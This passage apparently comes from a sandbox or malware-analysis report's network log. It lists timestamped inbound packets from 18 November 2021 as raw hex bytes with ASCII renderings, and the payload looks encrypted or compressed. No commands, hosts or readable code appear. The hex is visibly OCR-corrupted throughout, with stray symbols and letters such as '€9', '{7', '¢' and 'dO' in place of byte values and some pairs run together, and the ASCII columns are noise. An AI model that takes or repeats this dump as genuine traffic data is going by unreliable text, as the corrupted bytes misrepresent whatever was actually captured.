72 b0 14 71 20 10 2f 41 03 d4 18 43 fd 5e dO 28 32 44 14 8¢ 1b 4e 14 14 dd 35 34 48 94 04 ac 9c 49 ec be 00 24 73 39 5a
15 ab 04 36 df a6 €0 b8 be 40 Oc eb 49 e4 72 50 64 9e c0 e7 be 13 c4 el f8 23 44 22 91 18 f8 64 7b 18 b0 08 77 8a bc ce
d0 60 da 12 41 7e ce 10 be e4 49 09 dc 6¢ 69 88 90 0f 55 2¢ 28 d6 10 ae 28 €9 Oc 40 45 6e f4 3a 0d ¢8 18 db 11 54 Oa da
4f Oc 34 64 35 3c 1b 8b el 08 98 52 18 1d 1e 43 03 c8 05 78 eb be 87 1f ed 21 c4 d3 3c d5 87 91 bb Oa bc 24 2e 94 ee 7f
21 ¢5c0 05 0c 33 79 48 18 c2 79 a8 0f 21 aa 63 75 30 99 39 11 4c c0 94 52 5f 5¢ 78 52 49 70 78 f9 4c 10 39 10 86 7f 72
8f 3f 0f 80 10 81 29 bc fe 31 55 78 82 89 af 91 44 ec
Data Ascii: F/lavP6L~{2<Im&]|rq /AC*(2DN54HI$s9Z6 @IrPd#D"d{w A~IliU,((@En:TO4d5<RCx!<$.!3yHy!cu09LR_\x
RIpxL9r?)1UxD
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kBytes
Timestamp transferred Direction Data

2021-11-18 09:30:32 UTC 2015 IN Data Raw: ec 49 61 db a7 f0 07 04 af 48 89 Ob 2e fa 18 Ob 72 3¢ 41 e3 8d 60 18 10 bc 20 ea 36 2f 90 64 c0 00 24 2f 60 43
78 45 77 b7 a2 03 27 25 33 53 91 04 a2 40 a0 68 77 cd ae 37 f8 3e 00 5b Ob 78 c2 ac da ee c9 27 ab 36 42 6¢ d7 03 ec b5
2e c0 90 0a d5 30 Oe 06 f9 c2 e7 f0 17 5f 05 21 ff 4a 94 da c0 26 54 82 f9 al 66 02 78 a4 c8 f9 1a 3a 27 16 d0 Oc 5a Oc c2
58 ecal cOf8 cl c4 71 17 d1 a3 e7 fa 20 c0 5d 0f 04 d9 69 30 ee 84 68 a9 fO 4a 80 04 2f ec 35 b2 d8 58 44 38 0f 07 84 29
18 21 d2 38 €9 4d ac 3a al 68 3e 84 5c 82 ea 0Oa 78 fc 62 fd b0 ac ce fc b8 59 2a 3e a8 e8 8b 30 f2 bc 27 5f 40 f4 e8 82 50
ca 54 bb 41 c0 19 f6 ea 8c dd 60 b4 d0 36 fO 7f 01 08 ec 2e bc 5d e2 7a 2e a8 04 01 d7 ae ed 34 28 23 20 cc 8a 41 2a 7a
01 7c f3 a6 1la fl 7e 21 c4 49 e8 7e 28 8c 60
Data Ascii: laH.r<A" 6/d$/"CXEw'%3S@hw7>[x'6BI.0_!J&Tfx:'ZXq ]iOhJ/5XD8)!8M:h>\xbY*>0'_@PTA'6.]z.4(# A*z|~!I~("

2021-11-18 09:30:32 UTC 2031 IN Data Raw: 91 ec 5f 92 c8 bc 0a 27 5f €8 80 80 65 80 24 31 Oa dc cd fb 53 88 87 a0 f4 69 93 7 35 33 90 fe 99 e4 14 50 ec
20 f4 0b 78 Oe ed a0 68 d5 13 47 76 5¢ 0d 6¢ 01 f6 6¢ c5 d2 aa 3d 21 08 9e 09 c2 24 84 91 4b 58 84 15 13 9b a8 Oe 81 15
f9 63 02 46 ed 18 80 14 b4 08 49 c1 80 e3 aa 18 09 fb 20 79 9d Oe 25 40 fO cO 48 3d d2 a4 84 20 c9 ef 78 db 20 16 ea 34
94 6e 68 41 38 ff ee 23 ab 20 Oc c6 a3 84 b0 20 be Oe 90 a8 50 c4 bc 57 29 db 01 c4 8c d9 1a a0 e0 d7 a9 e9 fc d3 94 fc
c05c 0a 77 eab2 b8 74 d2 12 7b 24 ca e8 28 10 11 72 78 2e be 2a f8 60 8e 95 0d 37 bd 51 dc Ob b6 73 71 fc a5 70 7c 45
3b 78 f0 27 f8 98 04 71 d1 73 ab 95 a5 28 f5 bb e0 84 3e 19 ff el e3 88 32 fe 80 Oc b7 86 a4 61 00 aa fc c4 8c df 33 49 2e
5b 76 20 00 22 53 11 €0 1e 9d d1 b0 eb fc 48 58 eb
Data Ascii: _"_e$1Si53P xhGWII=I$KXcFI y%@H= x 4nhA8# PW)Wt{$(rx.*" 7Qsqgp|E;x'qs(>2a3l.[v "SHX

2021-11-18 09:30:32 UTC 2047 IN Data Raw: a2 89 4b 12 ab d4 9c ¢4 19 4d 5b 21 d2 d4 a4 c4 1a 4c 67 21 5c 9f bl 8c 3f 13 73 22 21 88 64 7f 11 aa 48 8b
9179 22 97 5a 9f 98 cc 1c 89 a3 96 21 5e a6 94 22 25 64 af 21 67 4c bb 11 ¢1 89 cb 12 c6 24 db 48 b3 91 eb 22 bb 44 fb
ce 88 0b a9 81 ca 6b 62 14 1d 26 1b 21 45 5f 2b 4c dc e6 11 27 ¢8 21 ¢5 99 3f 11 c0 12 57 2f 71 22 6f 5a 9c d8 44 1e 89
879121 9d 32 93 11 60 d4 9c c4 36 4c 9f 21 7d b5 31 44 43 13 ab 2d 21 8d 4c 94 e9 13 bb 2d 21 83 4c 9c 44 3c c7 cb 21
84 5b 94 11 1f 32 d3 21 61 26 df 11 5a 71 d8 a4 20 89 eb 96 21 62 a6 f4 22 38 65 7 21 7f ad ac 9e a2 20 03 aa 5a 65 d9
cc fa 26 0f 21 5a 63 d8 2c 37 8b c6 21 44 a1 33 cb 11 7e 5b ac 11 2a 32 4b 21 6¢ 26 57 11 44 72 63 89 06 12 73 24 e5 48
8391 93 22 8f 44 a4 9b 89 b5 12 a7 24 ad 48 b3 91 49 22
Data Ascii: KM[!Lg!\?s"ldHy"Z!""%d!gL$H"Dkb&!E_+L'1?W/q"0ZD!2°6L!}1DC-IL-ILD<![2!a&Zq !b"8e! Ze&!Zc,7!D3~[*2K!
|&WDrcs$H"D$HI"

2021-11-18 09:30:32 UTC 2063 IN Data Raw: da 7e 95 80 a7 66 19 9d 14 2d b6 bb c2 ea 5d 44 c7 96 5f 69 6 16 96 6b 53 05 44 73 b6 fa 5d 41 a3 80 35 7d
45 dc e5 cb Oa cf 76 7f f7 ac 07 ¢5 b2 5b 67 35 €0 ed 26 55 b1 b8 76 2f ee 5d 94 45 09 5c e9 07 3b 02 8f 51 83 52 31 63
1427 7e cd 04 14 73 8c 31 42 80 89 0d el 08 b6 c7 bl 1e 69 e0 e4 a6 cb 60 fc 13 cf 74 Oc cc 00 Of e6 d6 e3 10 4e 95 46
9c 25 9f 9f 80 34 4b 5d 13 bb ¢8 b7 a0 05 53 12 49 fe 39 32 85 7e 30 ad a9 9c 70 65 3c 02 39 1c 18 dd f0 a2 e8 11 4a a6
02 b3 ef ac b7 f4 56 74 19 80 dd Oc c7 42 1b a7 30 62 88 79 95 14 ba 79 04 31 f9 1a 60 6f 18 60 fd 72 18 a5 96 5 60 el b0
2021 10 0f 06 e7 3d 7e 81 al b7 d8 f8 00 d5 d6 39 5b c2 82 e5 1d 74 1a 02 40 2b 8c fd 60 33 78 e9 4c 86 35 b2 46 19 16
2c 61 06 83 12 a0 59 5¢c a3 Ob ab ea 16 9c e6 4d f5 e5
Data Ascii: ~f-]D_ikSDs]A5}EV[g5&UV/]E\;QR1c'~s1Bi tNF%4K]SI192~0pe<9JVtBObyyl o'r' |=~9[t@+ 3XL5F,aY\M

2021-11-18 09:30:32 UTC 2079 IN Data Raw: d2 f2 06 d2 8e 2a d3 bc 86 ed 68 81 b5 69 03 7a a2 15 a2 5b 42 25 d6 4d e8 5e 72 81 4e 9d 8e 1b 25 2d 1c 65
€9 2c¢ 5d 15 65 b0 3d 48 95 02 9d 58 a5 fa e5 2c d4 e4 b5 80 4d 66 0f Oc ce cc 10 0b 5e b3 7c 00 al 21 68 2¢ 57 e8 6d b0
4f ce f4 1b 17 01 ee 65 5e 3b 12 88 Ob 7e e4 d3 4b 76 1d ed 02 3f d6 cd 58 1e 22 83 19 02 04 66 6a 9c 26 93 41 8d 55 53
eb 74 7a bd eb f2 52 f6 27 fb 02 60 68 2b fd 35 0d d5 a2 97 e3 5d 39 57 30 79 48 16 8¢ 7e 17 66 66 88 b7 cc 08 c0 9b bd
64 Oe f8 38 9d 1b 30 9d af 9b 8a 56 b7 00 b9 26 42 dd 70 81 c9 70 79 26 fd 3f b6 Ob 09 96 5e 32 01 f1 f0 46 f5 6f 87 18 8¢
61 6 6b f5 9e 20 96 d8 52 6f 29 25 bc d5 98 f8 91 5f 0f 0d af 7e 2f Oe 8a 6e e8 7f c3 be fc 04 dd 14 90 f0 5e b0 09 b4 dc 72
a9 73 9c b7 82 86 {7 94 be 02 57 bf 83 8f 7b 7d
Data Ascii: *hiz[B%M”rN%-e,Je=HX,Mf*|!h, WmOe";~Kv?X"fj&AUStzR"h+5]9W0yH~ffd80V&Bppy&?"2Foak Ro)%_~/
n"rsW{}

2021-11-18 09:30:32 UTC 2087 IN Data Raw: 99 c4 91 06 76 4e 38 3d a8 74 3d d9 60 02 a6 9a 56 e1 96 77 20 07 5f 88 44 61 25 34 19 48 4c c0 55 00 3d 74
a8 99 82 25 8b 96 71 b2 13 1e c5 f6 8a cd 09 95 27 fa 7f 6e 19 48 9c f6 a8 1c €9 2f 69 77 3e 99 41 25 0d 6a ce 86 96 b2
5109 7d 67 2b 76 ba 2d 7e 98 cb d4 cd 54 bf €0 09 7c Oe 7e 74 bd 65 2f a7 53 b8 4b c5 71 4b 7d 1e 68 4b 55 ac aa e5 fb
da ae 49 50 e4 ec 66 b9 7b 9f 06 5f b3 04 d0 c2 00 74 df de 73 c1 ed 06 03 81 cd ae 3a dd 3f b0 f5 61 53 9 ff e7 f0 9a 28
32 4¢ 53 01 d7 44 b8 9 26 03 a3 6¢ 00 6a 79 97 d1 e5 63 9e 8f 91 d8 1c 19 e7 89 38 fb 5d 94 d9 a0 b4 e3 b4 c6 1c e6 11
10 44 9 2b 17 9d 62 07 ae 07 57 c8 df a8 8f f9 10 22 60 47 fb 2b 1c 8d 12 c9 6f 19 b9 4d b8 1d 2b ea {7 1e 58 05 25 4a eb
be 7d 37 0a 1e 0a 39 79 fc 3c f9 22 33 52 10 3b €0
Data Ascii: N8=t="Vw _Da%4HLU=t%qnH/iw>A%jQ}g+v-~T|~te/SKqK}hKUIPH{_ts:?aS(2LSD&ljyc8]D+bW" G+oM+X
%J}79y<"3R;

2021-11-18 09:30:32 UTC 2103 IN Data Raw: d9 29 0d 3f e6 7d 4e e4 72 5d 13 22 9d 1f e8 20 b0 68 7b 69 5e e6 a5 bb 7e 8e {7 22 9d ea de 4c 26 c1 4a a0
62 f0 86 40 a7 dc 70 59 80 a3 ca 01 fO b9 24 95 fb 98 aa 03 48 bf e0 cb 02 73 f9 bd dc f8 9f 4a 00 28 ba 44 72 1b e5 1c 64
50 02 25 7e d8 e6 44 18 95 c5 28 16 aa 8a 34 10 e5 22 63 92 a2 bf 04 38 43 37 89 cd a4 ff c2 00 2b b2 87 eb f3 8b €9 7c
18 aa 42 e0 1c ab 92 02 ea 32 fd c8 68 78 84 3c 10 fc 24 7e 18 e6 34 57 19 d7 51 b7 70 41 13 0d a7 e2 Oc 1e 94 1c 2c 12
01 70 31 80 96 d9 4b fc bd d3 5¢c e2 dc d0 64 ab 10 9c e2 1c 27 ed f3 03 2d 71 90 5a 56 fe 59 50 6e a6 e7 95 d1 cl f4 2a
6 3c 6a 8a 31 c6 €9 55 11 4c 51 27 05 bf 88 ae 6e ed d1 d2 f8 4f b4 af a9 50 b9 78 e5 5b bb 2a ff 21 1c 24 5f 37 25 09 5f
67 f2 4b 76 16 76 84 d1 6b 55 3d 5f 4d cc 89 €9 13
Data Ascii: )?}Nr]" h{i*~"L&JIb@pY$HsJI(DrdP%~D(4"c8C7+B2hx<$~4WQpA,p1K\d'-GZVYPn*<j1ULQNOPX[*I$_7%_
gKwkU=_M

2021-11-18 09:30:32 UTC 2119 IN Data Raw: Oa 5e b8 14 5c e5 8d Ob ed Oe 54 48 68 88 d0 02 ae 2b bd 76 02 32 75 dc 9c c4 0f Oa 5b f0 89 83 7d 50 43 38
c0 1b 5f e3 80 13 59 b0 e8 23 c4 {7 2e d6 2c fc f0 a4 5b 5f c8 68 8f 5e 5a f2 94 31 9¢ 1d dc 95 42 5¢ da 4b cc Ob Oc 40 fa
01 7f 94 d8 38 32 d2 44 0a 8a 40 1c Oc 7d Of d8 58 84 e6 09 81 54 85 ac 00 84 c9 52 09 b1 c6 2f e6 f6 d2 e7 d2 88 83 27
55 1c al b3 38 04 60 5a 32 12 fb 3 1a a4 b2 53 4f 28 ea 9e 2d ea 1e 57 Ob 3d d6 88 54 d3 12 cb 38 d7 8a 94 5a ec 43 bd
3a fd 4a b6 d6 9d 5e d7 d3 02 18 31 82 b1 76 01 d8 2e 81 08 5b 3a fc 52 f0 50 b8 7b 07 ca b7 6f 40 48 10 {7 d8 35 b3 00
€2 9d 7f 05 cf 08 2a 10 be 66 25 7e 29 d8 4c Oa 98 fO ea a9 bf 91 48 1c 6e b9 29 a4 e3 76 d7 e8 5d e8 56 a8 eb 51 5f 09
88 36 89 1c fd 45 d3 c2 e9 54 dd 6d 04 11 3c c8 83 02
Data Ascii: \THh+V2u[}PC8_Y#.,[ h"Z1B\K@82D@}XTR/'U8 Z2SO(-W=T8ZC:J"1v.[:RP{o@H5*{%~)LHn)V]VQ_6ETm<

2021-11-18 09:30:32 UTC 2135 IN Data Raw: d6 95 d5 9c 16 4e 53 e6 24 00 50 b8 43 9c 14 7f 0d 00 c6 c2 77 7d 05 22 fc f1 02 6e 35 ed da 69 ee d4 de 25
7796 e8 45 9f d4 bc 46 b3 ea 42 9c 98 ef 76 17 39 e6 86 93 f1 35 c2 fc a4 f8 a9 be 25 55 dc 47 74 3e 2f f9 f3 10 73 ea dd
b4 5e 20 Oe f2 98 20 08 dd b0 66 4e 05 4a e6 5d fb 21 70 bc c6 02 18 de 16 13 68 b0 48 f2 b2 34 5d e6 06 06 70 a5 f0 f5
34 20 b0 dO b5 2 be 5e 4a 20 5a a2 fb fe 4a ff ab 9f 74 2f 9d 79 0d 08 fc 25 Oe d1 e0 e6 ca 3f 84 f8 b6 5¢ e6 6a 80 95 15
eefe 7112 7b 31 04 a0 e7 48 01 d7 49 39 25 61 b6 e9 b8 b4 7a el c2 04 8c ff 81 2a e3 b0 6e a8 6a Ob 48 e7 29 64 74 2f
7c a4 2212 cad6 00 73 al dc 6b 00 c3 78 69 89 77 3a Oc c0 4a f4 fb 90 ec dc 88 c4 04 72 07 e7 26 9f a9 fe 1c 02 3a be
18 f5 5a 54 fc ea de ac 4f a5 da 77 43 12 8b b3 e7
Data Ascii: NS$SPCw}'n5i%wEFBV9I5%UGt>/s” fNJ]!phH4]p4 ~J ZJItly%?\ja{1HI9%az*njH)dt/|"skxiw:Jr&:ZTOwWC
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kBytes
Timestamp transferred Direction Data

2021-11-18 09:30:32 UTC 2151 IN Data Raw: 22 1a 01 d3 Oc be ca 94 14 4e 5b f0 89 2c e0 e4 e5 5a 00 3c e4 71 f0 56 f2 ed a3 30 f4 a8 72 04 9f bb 27 5 29
e0 a2 8908 13 3d 7d ee aa 48 4b ed 0d 0a 19 30 3d 28 f4 aa c5 69 a9 9a a0 76 1d 01 86 00 12 ed d2 2b 35 2e e7 6f 90 bc
47 14 65 10 34 45 90 83 7c a3 78 11 3e 57 96 b3 28 3d 37 84 d7 3e cd be 16 09 22 60 70 1a 04 26 40 92 c9 34 ef f4 46 d8
48 79 44 13 Ob a5 a4 3a 1b 00 96 50 91 4b eb ef 34 5d 19 e9 42 6a 8e 51 d8 24 a5 d3 Oc ae de 94 2d 3a c0 5e 10 54 92
103b 97 5a 01 c4 07 69 33 08 76 75 c4 f0 48 €2 00 86 1le 49 dO 5e €9 71 7a b5 c8 c0 10 94 c1 28 68 af 4b Oe 32 1c 10 06
320899 02 42 62 1c 1f 55 65 91 64 7e af 13 36 f3 7e c2 50 4a 01 19 98 ad de 40 c8 15 al 02 b6 5e el 58 bd 35 5¢ 5a 80
14 88 c4 71 0f a7 03 66 1f fa Ob 1e 15 00 39 d5 24 27 26
Data Ascii: "N[,Z<qVOr')=}HKO=(iv+5.0Ge4E|x>W(=7>""p&@4FHyD:PK4]BjQ$-:"T;Zi3vuHI*qz(hK22BbUed~6~PJ@"
X5\Zqf9$'&

2021-11-18 09:30:32 UTC 2167 IN Data Raw: Oc c8 b6 17 38 89 95 5b 10 b0 00 09 1f e5 74 c2 3e c0 1a 88 03 a7 9d 5f 10 dc b5 14 55 01 86 f9 37 00 b9 bb
5e 4b ec 61 51 80 ae 82 76 0f 85 cf 39 f8 d0 27 96 ea f4 5a 78 2c 02 9e 52 de 29 b8 2e 1e 53 24 b8 82 10 ad de 38 96 04
ae 06 be 66 al 44 4f 87 38 a2 9b 4f 5a e6 44 f2 4c 78 7e 9f 67 44 88 77 b4 16 3e f8 70 89 d2 el 06 8e 7f 2 b4 2d 24 dO
64 97 4c 9f 25 7 94 14 29 27 f2 6a €8 00 22 1a 44 01 63 40 93 ca 75 35 1f Oa ee c¢7 27 fc fa 51 1b Oc 96 4c 0d b1 84 b6 Oe
e83ad6 81 78 4594 87 19 29 53 e2 03 8e 63 18 34 07 7d 7c d1 45 Ob 16 03 96 d3 90 7c 5b e5 02 09 cd 8a ee 1e 18 48
a2 2b f9 01 d7 1b 36 b6 76 €9 49 2e a7 e4 25 55 71 c9 d2 f7 3 5a €9 fd 67 65 e4 b7 bf f2 b8 98 1e 55 bd Ob b4 7a 1a 26
7d 6¢ 62 2c 58 €9 4f b8 4b be 9b al 92 ad 41 96 41 42 07
Data Ascii: 8[t>_U7"KaQv9'Zx,R).S$8fDO80ZDLx~gDw>p-$dL%)'|"Dc@u5'QL:XE)Sc4}|E|[H+6vl.%UqZgeUz&}b,XOKAAB

2021-11-18 09:30:32 UTC 2183 IN Data Raw: 89 1c 8f 3d 92 fe e2 92 b4 ea 2f 15 2f 44 6a b7 34 e4 b5 be a5 9f 20 99 95 72 58 6¢ b9 56 c4 53 8a a8 81 7b a2
12 2f 21 5d 2a fa 7d 01 c6 fa 5¢c 38 8¢ 72 5a 27 80 1b 80 2f 1c d6 bb 39 8c b7 f4 54 5b 8 68 71 62 35 44 36 7d ba d7 e8
c1 db ba 34 c1 5d 6e fc a5 94 b0 09 c1 d0 0d de 21 82 35 61 a3 40 {7 14 22 ed 3f 18 c0 a8 cc 04 Ob a7 6¢ 29 c3 80 78 bd
03 fb 3f 79 49 bd el 3d 93 30 36 Oc 4a 70 7d bf 50 6¢ c5 36 6e 5¢ f8 81 16 58 87 aa 69 b8 3f 6 62 a5 ef cb c6 4f fd ad 18 5k
bd d1 ba d2 f7 51 e0 7 Oc fb 76 ab 56 27 34 44 54 f4 04 bc 4d d2 05 a8 3e ad 4 40 0a 84 95 82 ed d8 59 00 4a 95 b7 el
01 97 c4 Ob e5 40 f3 fe 3b 29 91 6¢ 9e b0 9c 11 ff 8d 97 b4 9a bc 15 86 5d e a2 89 36 4a 74 16 44 da 8 c2 ec ca ff ff e5
dc 48 1e 50 dO 5a 8f 08 20 39 d1 b8 1f 41 5a
Data Ascii: =//Dj4 rXIVS{/I\8rZ'/9T[hqb5D6}4]n!5a@"21)x?y|=06Jp}PI6N\Xi?bO[QVV'ADTM>@YJ@;)l6JtDHPZ 9AZ

2021-11-18 09:30:32 UTC 2199 IN Data Raw: 42 cf 1e 19 ec e3 3b 22 aa d1 57 b3 1a 04 08 c3 87 fd d0 3c b4 28 60 00 Of e0 50 61 78 e3 88 Oe 4a db f0 eb 7
10 3a 8b fe 39 a0 5b 21 19 78 5b 01 3a 8d 80 08 ca 85 d4 50 cc b9 58 46 13 4e 0f 09 c8 80 1d 29 fc b6 75 17 c7 9a 54 eb
8a b5 358b 90 e2 7d 97 ce 61 11 c7 fd b1 06 1b 1a 12 55 Ob bd 91 b1 93 1a 03 e9 99 eb 04 2a ec f6 8f ad 69 9c 6a 1b a0
7f b8 96 68 29 bd 73 f9 c4 53 aa f3 af c7 68 1b 6f 89 38 5f 97 62 a5 d5 1c a9 4e 60 f2 c2 d3 af 2f 3b 60 8d c7 34 a5 7f 9f d¢
60 da 20 85 al 89 1e 5d 9d 67 ec 2f 56 b3 c5 5f bf 2c d7 56 a6 60 bf 3e c2 02 56 68 5c a6 21 7a 5a fc 08 d3 2e da 03 cc
ca 5a 4b 50 3d d6 22 91 00 b9 14 b1 ff 5e f7 d9 4c 41 aa 34 17 13 ab c4 3f a2 73 4e 1f 22 65 57 6d 8f 20 7a 97 d0 72 a0
59 0b 71 01 07 c3 f9 62 35 25 aa f9 11 2b ac 44
Data Ascii: B;"W<("PaxJ:9[!x[:PXFN)uT5}aU*ijh)sSho8_bN'/;’4" 1g/V_,V'>Vh\lzZ.ZKP=""LA4?sN"eWm zrYgb5%-+D

2021-11-18 09:30:32 UTC 2215 IN Data Raw: 30 35 24 c1 3c cc 3e 56 f8 al 4d Oc 60 1d 40 04 76 1b 4e 60 aa Oe 80 bf 47 35 66 25 19 4c a3 97 ce d4 98 63
781059 7f Oc 1f 18 68 c5 3¢ db 96 07 81 b0 88 d8 Oe bb da 15 8¢ 2f 68 c9 95 6e 6¢ 79 4e ab 9e 77 16 44 cc 53 f0 31 d8
7aa3c2 2131 3d01 3fd8 9e 03 7a 50 b5 14 b6 11 9b 29 02 12 5f ca 23 fa c2 02 83 81 47 c9 1c 56 63 c2 00 95 42 71 a9
9b c7 f4 81 0b ab 73 68 0Oa d6 04 00 b9 50 fc 70 75 f9 c2 78 95 0d 02 a3 46 01 9c 25 b4 a7 41 e4 {3 ff dd bf 28 60 54 d4 15
3e 30 59 45 9e ce €9 50 7c 12 29 62 1b 64 fb bf 09 82 c4 2f 9c e0 aa 3e 9a c2 27 76 e9 9b f4 1a 83 46 16 13 bb 1d 30 db
€027 f9 30 19 dd 11 44 d4 303 12 a4 e9 e3 e5 2d 6f b9 64 e0 68 64 c7 27 9e 48 dc 99 69 5f 15 db 80 5¢ 50 56 be 59 51
ed de dd 7b 2d 25 df ab bb 57 e1 0d 56 {7 ed ea ce e7
Data Ascii: 05$<>VM @VN G5f%LcxYh</hnlyNwDS1z!1=?zP)_#GVcBgshPpuxF%A( T>0YEP|)bd/>'vF0'0D0-odhd'Hi_\
PVYQ{-%WV

2021-11-18 09:30:32 UTC 2231 IN Data Raw: 8b Oc 97 56 7c 8f 97 9e 75 ba b6 17 50 b8 a2 00 8a 7f 2d 4c 92 fd Oe 5e c1 e0 01 66 e8 02 Oc 00 07 f7 d8 35 84
aa fe e2 bd 42 64 5f fe 8a da f9 1b 4b 74 a7 58 57 bf Of 37 99 ff 7f 86 ef 33 0d bd fe 05 5a 56 4d 7a 29 85 5e 8c 74 9f 5¢ 94
€9 5f 71 4b 49 77 1e f2 bd 90 1b 0d b1 2a a5 Oc f3 b5 47 8f 40 e9 0f 12 f5 b7 e2 Oe 7f 79 69 6d 9e 2e ea 3b ad 03 51 68 33
76 38 82 59 d4 Oe 5b 4b 2f a2 74 81 ae fc 47 35 2f 60 65 49 7b 6d 6a 64 11 15 07 4e 70 ef 99 7f c4 6¢ d3 5e a6 76 e6 e3
97 fc b7 54 9f 5¢ 6f d0 56 be 84 80 94 61 78 Ob 7b 5f 01 f5 88 ec 08 25 94 9e 9f 16 €9 86 5b 52 57 e7 f1 06 c2 12 56 d7 13
71 5f58 e8 74 f4 20 44 68 7 cb 18 7f 11 89 7e 52 ba 1c b9 b7 37 2d 32 96 3e 96 97 20 95 45 1d Oa 20 aa ce 00 dc al 61
1f 13 8c d2 2a fb a7 3a d2 b7 65 95 f8 4f
Data Ascii: V|uP-LA5Bd_KtIXW73ZVMz)M\_gKIw*G@yim.;Qh3v8Y[KAG5/ el{mjdNpl*vT\oVax{ %[RWVq_Xt Dh~R7-2> E
a*.eO

2021-11-18 09:30:32 UTC 2247 IN Data Raw: 20 2e 26 5a cd c5 b6 0f f0 37 13 60 18 3e cf 4b 40 eb a9 22 f9 01 16 21 08 20 e6 ea 22 56 30 bc d0 d0 74 63
84 4a b0 ce c0 11 c0 01 bl 04 42 1a 13 c2 d7 e8 16 ad 93 fc bd 84 3d be ed 96 9c a5 55 Ob e6 74 f3 90 07 7b a8 bl 8a e7
0af9 12 39 fc a4 Oe fe fd 09 10 69 6¢ cd 7c 66 3e 03 c0 43 5d a9 e4 7c 91 a9 24 88 16 3e fO 8e e7 16 1a 46 5b b9 ae 27
2478 9a 0b 15 e5 fd 06 5d 16 b7 2c 6d 99 d4 42 5e 23 57 c2 42 56 a2 17 ed aa 06 ce c8 4f f4 4a 34 c1 3e d9 38 2a b3 18
02 f8 d0 b3 b4 dd 5e b0 00 e0 e2 b5 53 a0 16 03 b9 9a 9b 17 8b 25 4 {7 4f 26 aa 4f 03 5a Oe b8 c5 00 b9 97 dc b7 c4 72
09 e7 26 d9 35 b4 41 12 7b 02 f2 57 f8 04 25 15 e3 56 16 60 aa 12 d6 ee d3 30 eb c6 d3 28 2c 48 0a 42 42 1e Oc 03 84 83
09 70 09 40 08 22 52 27 bd 64 34 00 90 1f Oc 18 55 f6 97
Data Ascii: .&Z7">K@"! "VOtcIB=Ut{9il|f>C]|$>F['$x], mB #WBV0JI4>8**S%0&OZr&5A{W%V 0(,HBBp@"R'd4U

2021-11-18 09:30:32 UTC 2263 IN Data Raw: 6¢ 95 19 8e 4c 82 11 89 85 7e 3d dd e5 3d 1f 45 90 1e 16 8a 4e 92 16 47 df Ob 4b 77 6c 63 4d 04 81 Ob 64 0d
cc 90 7c f5 6f 02 32 c9 95 ef 33 07 6a 16 80 46 dO 7e 20 f3 25 1b ae 77 67 67 04 11 51 01 32 55 df 64 8f 28 95 56 4a 24
4c b2 7a c0 ca d7 bc 35 00 73 94 18 3e ee f8 08 7d e2 2e b7 da 1c 40 Ob 22 b2 c¢7 01 a6 ec 6d b9 50 d6 19 7a 91 1a 45
93 47 32 85 0f b7 4c 06 b5 21 34 8d 7c 26 81 76 f2 3f ad 8b 25 c2 ¢5 88 al 71 25 d1 €3 57 c¢5 d7 28 32 20 58 dd Oa 04 6¢
c6 b2 f4 70 41 66 bf 74 b3 dc 25 63 cb 7f 45 €9 c2 51 53 08 a6 24 c1 12 23 44 6¢ ce 27 21 e6 a8 7a 40 9e 04 8b c4 71 15
34 a5 bc 19 80 1a 46 b8 02 12 73 04 19 cc 90 74 25 63 7c 63 f8 89 4c 80 2f c3 ca ca b0 5¢ 5a a5 01 8f 7f 9a d4 8b 1f 8d
7b a0 c3 70 b7 63 8c 1le 8a eb 9c 4b e2 de 92 ee 7d 5b 3f c2
Data Ascii: IL~==ENGKwlcMd|023jF~ %wggQ2Ud(VJ$Lz5s>}.@"mPzEG2L!4|&v?%q%W(2 XIpAft%cEQS$#DI'z@q4Fst%
c|cLAZ{pcK}[?

2021-11-18 09:30:32 UTC 2279 IN Data Raw: 0f 01 e4 9e 30 7a 10 d7 e8 87 12 89 a6 ce b6 27 25 6d 9e e5 {7 d5 02 ad d6 fO 5d cf 01 2e ec 81 cf 85 54 Oe 23
c1 5f 40 a7 00 10 3e 33 b7 f1 46 8¢ 68 87 2c 34 1a 4d a7 35 26 c0 8d b5 6b bf ef 32 8¢ 53 06 3c e7 5a 35 b2 62 cf ef 96 bf
8a 65 4f ff 38 dc c2 46 9d 4e 45 30 4c 62 fe cc e0 6f 41 f0 1e 50 1a d7 56 28 dd 53 3d cb d7 18 e0 a5 99 d6 28 08 ea 8f 63
b7 al 58 18 ea 4e 8 8 c4 74 e2 09 a7 54 dc 43 cf 1a 74 50 10 12 95 9a 24 ea 14 12 89 ba 71 86 a9 5e 3a eb 3d 2f 3c b0
4c3e 18 7a 79 14 b0 58 ¢2 20 76 a5 72 79 a8 Oc ec 64 18 99 4f 0d ae 21 ¢3 f6 30 21 3c 2e a3 2¢ 10 9e 70 4e a9 74 f4 22
8c 02 fd db 23 90 cd c9 7e 50 46 04 e6 50 08 ab db c8 ff fb 50 Oc d9 31 9d 19 36 27 7f 06 4e 86 b7 18 00 78 47 85 61 a4
5b 2c ea 01 56 64 4d c0 €9 27 76 ba be 9d bc {7
Data Ascii: 02'%m].T#_@>3Fh,4M5&k2S<Z5beO8FNEOLboAPV/(S=(cXNtTCtP$q™:=/<L>zyX vrydO!0!<.,pNt"#~PFPP16
‘NxGa[,VdM'v
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kBytes
Timestamp transferred Direction Data

2021-11-18 09:30:32 UTC 2295 IN Data Raw: af 30 fa 5a 21 81 17 b6 8b f1 21 28 59 2a 3f cc 7b 20 60 60 cc 96 38 88 f3 a0 ee 90 f5 a0 72 1f a2 9e 56 18 d3
e0 72 a3 25 e7 f4 d4 f3 8¢c 53 f3 18 8b c4 61 bf 94 1f a5 b1 46 73 11 f3 7f 00 25 a3 8f 2f 83 b8 89 f2 7f d0 01 62 ba 11 d4
71 daf4 0032 4bc2 61 09 a5 ca f9 91 88 00 47 bc 3e 07 94 85 4e 6d a3 e2 82 a9 ab fe 19 4f 3e b8 64 b1 d8 d7 84 0d 03
90 7e bb b6 2c 23 5¢c 8b 75 e3 7a 06 2f 31 8e 5¢ d0 58 4d 51 84 25 9b 79 98 42 8d f1 cc 1c d2 10 91 20 ef 10 28 c2 2b 8a
e4 26 Oc b2 a5 4a ba f0 40 f8 2c f8 9 f8 30 f8 75 91 5¢ 88 b0 39 42 50 06 79 2e a7 5d bc be 72 e2 80 46 51 00 b6 88 1f 99
a3 b9 ac 49 95 5f 14 4b 38 d6 04 4e ab dd 97 2b ab 38 c9 75 22 3d fe 00 a2 90 le 21 b4 44 Oc b6 03 be ad 84 aa 27 7e 12
3c 60 fb 47 5¢ 82 3d €9 c6 ca 49 07 ed 27 4a 89
